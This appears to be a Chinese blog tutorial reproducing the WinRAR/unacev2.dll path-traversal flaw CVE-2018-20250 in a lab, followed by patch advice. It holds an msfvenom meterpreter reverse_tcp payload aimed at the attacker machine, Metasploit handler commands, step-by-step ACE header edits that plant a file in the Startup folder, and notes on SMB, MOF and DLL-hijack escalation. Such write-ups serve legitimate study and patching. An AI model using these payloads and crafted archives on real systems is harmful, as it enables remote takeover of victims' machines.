winrar远程代码执行漏洞复现(cve-2018-20250)

使用metasploit验证漏洞

1.漏洞影响

WinRAR < 5.70 Beta 1

Bandizip< = 6.2.0.0

好压(2345压缩) < = 5.9.8.10907

360压缩< = 4.0.0.1170

2.环境搭建

攻击机:kali-2019                       ip:192.168.0.171

靶机:windows 7 +winrar5.5                        ip:192.168.0.169

3.漏洞复现

(1)下载WinRAR漏洞exp:https://github.com/WyAtu/CVE-2018-20250

(2)利用msfvenom生成恶意文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.171 lport=1234 -f exe >./test.exe

(3)编辑winrar漏洞exp文件

vi exp.py 

按i进行编辑

修改python3的运行命令

修改完后按esc退出编辑,然后按:,输入wq保存

(4)运行winrar漏洞exp

python3 exp.py

(5)把恶意winrar文件传到靶机

为了方便,利用python开启临时server

python -m SimpleHTTPServer 999

利用靶机浏览器访问,并下载test.rar

(6)kali启动msf,设置监听

msfconsole 

使用监听模块,并设置参数

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.171

set lport 1234

show options查看是否有遗漏

运行,exploit

(7)靶机解压恶意winrar文件

解压后会在自启动目录生成一个恶意文件hi.exe

目录为:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\(administrator改为你当前用户名)

当电脑重启后就会自动运行该文件(这里为了方便就直接双击了),查看进程hi.exe已经运行

(8)返回kali,已经建立会话sessions

 

4.漏洞修复

更新winrar到最新版本

使用其它的解压软件,如7z

===========================================================

手工验证漏洞

Check Point的网络安全研究人员发现一个潜伏19年的漏洞——WinRAR代码执行漏洞。受影响的版本不止Winrar5.7版本之前,Bandzip、2345压缩、好压、totalcmd等软件也受影响,受害者使用受影响的压缩软件解压构造的恶意文件时便会触发漏洞。

受影响的版本

影响版本:

  • WinRAR < 5.70 Beta 1
  • Bandizip < = 6.2.0.0
  • 好压(2345压缩) < = 5.9.8.10907
  • 360压缩 < = 4.0.0.1170

腾讯研究员利用玄武实验室自研的“阿图因”系统,对已收录的全网 PC 软件进行了扫描,统计了 unacev2.dll 的使用情况,其版本分布情况如下图所示:

通过“阿图因”系统,腾讯研究员对使用了该共享库的软件进行反向溯源,目前扫描到了受影响的有 24 款国外软件,15 款国产软件。

多数受影响的软件都可以被归类为工具软件。其中至少有9款压缩软件,以及8款文件浏览器。还有其它许多软件将 unacev2.dll 作为 WinRAR 的一部分放在了自己的软件包中,作为解压模块使用。(使用unacev2.dll动态共享库的解压、文件管理类工具软件)

漏洞细节

漏洞主要是由Winrar用来解压ACE压缩包采用的动态链接库unacev2.dll这个dll引起的。unacev2.dll中处理filename时只校验了CRC,可以通过更改压缩包的CRC校验码来修改解压时候的filename来触发这个Path Traversal漏洞。但是Winrar本身检测了filename,有一些限制并且普通用户解压RAR文件时候不能将恶意的Payload解压到需要System权限的文件夹。当用户将文件下载到默认的C:\Users\Administrator\Downloads目录下时,通过构造

C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe 

经过Winrar的CleanPath函数处理会变成

C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

其中C:会被转换成当前路径,如果用Winrar打开那么当前路径就是C:\Program Files\WinRAR,要是在文件夹中右键解压到xxx\那么当前路径就是压缩包所在的路径。

当用户在文件夹中直接右键解压到xx,那么恶意的payload解压地址就会变成

C:\Users\Administrator\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

就是当前用户的启动项。这样一个利用完成了从一个Path Traversal到任意命令执行的过程。

漏洞复现

环境

  • win7 x64
  • winace v2.69
  • winrar 5.6.1 x64
  • 010Editor

复现

0x01 新建文件b404.txt

0x02 使用winace进行压缩,将b404.txt压缩为b404.ace

 

0x03 下载https://github.com/droe/acefile 中的ace脚本读取文件头信息:

python acefile.py --headers b404.ace

0x04 更改b404.ace的解压缩路径

 

第一处为0x590F(hdrcrc),第二处为0x003A(hdrsize),第三处为0x001B(filename的长度),以及最后一处为filename。

  • 0x3A的十进制是58
  • 0x1B的十进制是27

修改文件名为C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt,文件名长度为69,即十六进制0x0045。在之前的0x001B上修改为0x0045:

 

0x05 修改hdr_size

因文件的绝对路径更改(即文件名变化),hdr_size发生变化,为100,十六进制为64h

 

原hdr_size为0x003A,因文件的绝对路径更改(即文件名变化),就更改hdrsize的长度0x003A0x0064:

 

0x06 修改CRC

现在直接运行acefile脚本检测修改后的ace文件,报错:

参考文章使用的是脚本报错中断时进行下断点,找出正确的CRC值。我直接使用https://github.com/WyAtu/CVE-2018-20250 中的acefile脚本进行正确的hdr_crc值查找,并更改:

更改成功之后,使用https://github.com/droe/acefile 中的acefile就可以检验成功:

然后使用WinRAR解压:

解压出来的路径是C:\Users\b404\Desktop\b404\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup,根本不符合C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup的目标地址,也就是目录穿越失败。即构造的文件名C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt需要修改

0x07 重新构造文件名

重新构造文件名为C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b404.txt,将其写入到b404.ace中。

 

使用ace脚本检测ace头信息,得到正确的hdr_crc

此时需要修改的值为:

  • hdr_size:0x006F(即6Fh,十进制为111)
  • filename_size:0x0050(即50h,十进制为80)
  • right_hdr_crc:0x0EFA

 

在运行中shell:startup打开自启动目录C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,没有b404.txt

 

解压到当前文件夹(解压到b404\也可以实现目录穿越):

C:\Users\b404\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录中就出现b404.txt

 

成功目录穿越。

扩展

若将b404.txt换成victim.exe,里面添加一些具有迷惑性的文档,ace扩展名更改为rar(WinRAR是通过文件的内容而不是扩展来检测格式的),一旦解压该程序,那就可以做很多事了。

研究人员还发现一个SMB攻击向量,可以连接到任意的IP地址,并在SMB服务器的任意路径创建文件和文件夹。比如:

C:\\\10.10.10.10\smb_folder_name\some_folder\some_file.ext => \\10.10.10.10\smb_folder_name\some_folder\some_file.ext

在拥有system权限下可以放入 c:/windows/system32/wbem/mof/nullevt.mof,直接获取目标主机的权限。

可以投放恶意dll文件进行dll劫持获取到目标主机的权限,或者覆盖用户主机上的文件等方式获取目标主机的权限

修补

  1. 升级到最新版本。比如WinRAR升级到5.70 Beta 1(http://win-rar.com/fileadmin/winrar-versions/winrar-x64-57b1.exe)
  2. 删除UNACEV2.dll文件

 

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
针对PHP远程代码执行漏洞(CVE-2022-31625),以下是一些修方法: 1. 更新到最新版本:确保你的PHP版本是最新的,因为漏洞通常会包含在更新中。请访问PHP官方网站或者使用包管理工具来获取最新版本。 2. 禁用危险函数:在php.ini配置文件中,禁用危险函数可以帮助防止远程代码执行。可以使用disable_functions指令来禁用一些敏感函数,如eval()、exec()、system()等。 3. 安全配置:检查你的PHP配置文件,确保安全设置已经启用。例如,禁用动态加载扩展、限制文件上传目录和大小、禁用远程文件包含等。 4. 输入验证和过滤:在你的应用程序中对用户输入进行严格的验证和过滤,以防止恶意代码注入。 5. 使用安全框架或库:使用安全框架或库来帮助防止远程代码执行漏洞。这些框架通常提供安全的默认配置和内置的安全功能。 6. 定期更新和监控:定期检查并更新你的应用程序和相关组件,以确保及时修已知漏洞。同时,监控应用程序的日志和网络流量,以便及时发异常行为。 请注意,这些方法只是一些常用的修措施,具体的修方法可能会因系统配置和应用程序的特定情况而有所不同。建议在修漏洞之前,先进行充分的测试和备份。此外,如果你不确定如何处理或无法解决该漏洞,请咨询安全专家或PHP开发人员的帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值